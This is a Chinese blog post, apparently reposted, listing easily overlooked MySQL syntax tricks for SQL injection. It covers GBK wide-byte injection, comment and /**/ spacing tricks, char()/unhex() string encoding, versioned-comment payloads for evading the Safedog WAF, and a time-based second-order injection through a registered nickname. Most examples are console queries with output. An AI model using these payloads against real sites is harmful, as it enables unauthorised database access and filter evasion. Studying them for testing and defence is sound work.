sql注入时易被忽略的语法技巧以及二次注入

阅读: 评论:0

sql注入时易被忽略的语法技巧以及二次注入

sql注入时易被忽略的语法技巧以及二次注入

那些容易被忽略、容易被弄错的地方

 

sql注入时的技巧
=========================================================================
*	如果单引号被转义,在当前数据库采用GBK编码的前提下,可以考虑双字节注入。*	注释符的正确用法“-- ”才是mysql中的注释,注意后面有个空格mysql> select  user()  from (select 1)x where  '1'='1';-- '+----------------+| user()         |+----------------+| root@localhost |+----------------+1 row in set (0.00 sec)“#”注释,后面接不接空格无所谓mysql> select  user()  from (select 1) x where  '1'='1';#'+----------------+| user()         |+----------------+| root@localhost |+----------------+1 row in set (0.00 sec)*	用/**/替代空格mysql> select/**/1;+---+| 1 |+---+| 1 |+---+1 row in set (0.00 sec)*	sql语句中字符串转义-	mysql> select char(32,47,116,109,112,47,102,95,117,115,101,114,46,116,120,116 );+-------------------------------------------------------------------+| char(32,47,116,109,112,47,102,95,117,115,101,114,46,116,120,116 ) |+-------------------------------------------------------------------+|  /tmp/                                                  |+-------------------------------------------------------------------+1 row in set (0.00 sec)-	mysql>  select  concat(char(32),char(47),char(116),char(109),char(112),char(47),char(102),char(95),char(117),char(115),char(101),char(114),char(46),char(116),char(120),char(116) ) ;+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+| concat(char(32),char(47),char(116),char(109),char(112),char(47),char(102),char(95),char(117),char(115),char(101),char(114),char(46),char(116),char(120),char(116) ) |+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+|  /tmp/                                                                                                                                                    |+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+1 row in set (0.00 sec)# utf-8-	mysql> select unhex('E6B8B8E5AEA2');                                                                                                                                             +-----------------------+| unhex('E6B8B8E5AEA2') |+-----------------------+| 游客                  |+-----------------------+1 row in set (0.00 sec)*	数字和字符的比较,类似php中的弱类型-	mysql> select '10asfasfdeasdfasdf'=10;+-------------------------+| '10asfasfdeasdfasdf'=10 |+-------------------------+|                       1 |+-------------------------+-	mysql> select '0esfsadf'=0;+--------------+| '0esfsadf'=0 |+--------------+|            1 |+--------------+*	绕过安全狗**	正则绕过-	select 1/*!50000union/*!*//*!50000select/*!*/2;+---+| 1 |+---+| 1 || 2 |+---+-	mysql> select/*/#*/1;+---+| 1 |+---+| 1 |+---+1 row in set (0.00 sec)*	多个单引号相连时,最外层两个孤独单引号配对闭合,中间的连续偶数个单引号中每两个一组换算成一个。-	mysql> select '123''';+------+| 123' |+------+| 123' |+------+1 row in set (0.00 sec)-	mysql> select '123''''';+-------+| 123'' |+-------+| 123'' |+-------+-	mysql> select user from mysql.user where user='nickname'' and password=' or sleep(0.1);#'Empty set (1.00 sec)此特点可以引发“二次注入”,比如,注册用户时输入昵称{nickname'},被转义为{nickname'}但在插入到数据库后被还原,那么在需要将昵称作为查询条件的页面中就存在二次注入,另一个条件字段的值为{ or 0=sleep(1);#}即可触发。

  

转载于:.html

本文发布于:2024-02-01 00:31:34,感谢您对本站的认可!

本文链接:https://www.4u4v.net/it/170671869432515.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:语法   技巧   sql   时易被
留言与评论(共有 0 条评论)
   
验证码:

Copyright ©2019-2022 Comsenz Inc.Powered by ©

网站地图1 网站地图2 网站地图3 网站地图4 网站地图5 网站地图6 网站地图7 网站地图8 网站地图9 网站地图10 网站地图11 网站地图12 网站地图13 网站地图14 网站地图15 网站地图16 网站地图17 网站地图18 网站地图19 网站地图20 网站地图21 网站地图22/a> 网站地图23